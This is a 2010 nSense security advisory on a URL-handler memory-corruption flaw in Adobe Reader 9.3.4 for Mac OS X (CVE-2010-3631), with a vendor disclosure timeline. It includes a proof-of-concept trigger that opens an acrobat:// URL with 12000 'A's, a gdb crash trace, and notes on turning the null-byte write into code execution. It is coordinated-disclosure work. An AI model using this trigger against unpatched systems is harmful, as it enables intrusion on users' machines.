nSense Vulnerability Research Security Advisory NSENSE-2010-001
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Affected Vendor:    Adobe
Affected Product:   Adobe Reader 9.3.4 for Macintosh
Platform:           OS X
Impact:             User assisted code execution
Vendor response:    Patch
Credit:             Knud / nSense

Description: Adobe Acrobat and Reader are prone to a remote code-execution vulnerability.  Attackers   can exploit this issue to execute arbitrary code in the context of the user running the affected application.  Adobe Reader and Acrobat versions prior to and including 9.3.4 and 8.2.4 are affected.

NOTE: This issue only affects Adobe Reader and Acrobat running on Apple Mac OS X      

Technical details
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terminal 1:
$ gdb --waitfor=AdobeReader

terminal 2:
$ open acrobat://`perl -e 'print "A" x 12000'`

terminal 1:
(gdb) cont
[snip]
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xc00013d2
0x7ffa0d6a in AcroBundleThreadQuitProc ()
(gdb) set disassembly-flavor intel
(gdb) x/i $pc
0x7ffa0d6a <AcroBundleThreadQuitProc+2608>:     mov    BYTE PTR
[ebp+eax-0x420],0x0
(gdb) i r ebp eax
ebp            0xbfffe908       0xbfffe908
eax            0x2eea   12010
(gdb)

As can be seen from the above, we control the value in eax (in
this case 12010, the length of the acrobat:// + the 12000 A's).

This allows us to write the null byte anywhere in memory between
ebp-0x420 (0xBFFFE4E8) and the end of the stack.

The behaviour may be leveraged to modify the frame pointer,
changing the execution flow and thus permitting arbitrary code
execution in the context of the user running the program.

Timeline:
Aug 10th         Contacted vendor PSIRT
Aug 10th         Vendor response. Vulnerability reproduced.
Aug 16th         Status update request sent to vendor
Aug 17th         Vendor response, still investigating
Sep 2nd          Status update request sent to vendor
Sep 3rd          Vendor response. Working on fix
Sep 22nd         Contacted vendor regarding patch date
Sep 22nd         Vendor response. Confirmed patch date.
Sep 23rd         Corrected researcher name
Oct 1st          Vendor sent CVE identifier CVE-2010-3631
Oct 5th          Vendor releases the patch
Oct 6th          Advisory published

http://www.nsense.fi                       http://www.nsense.dk

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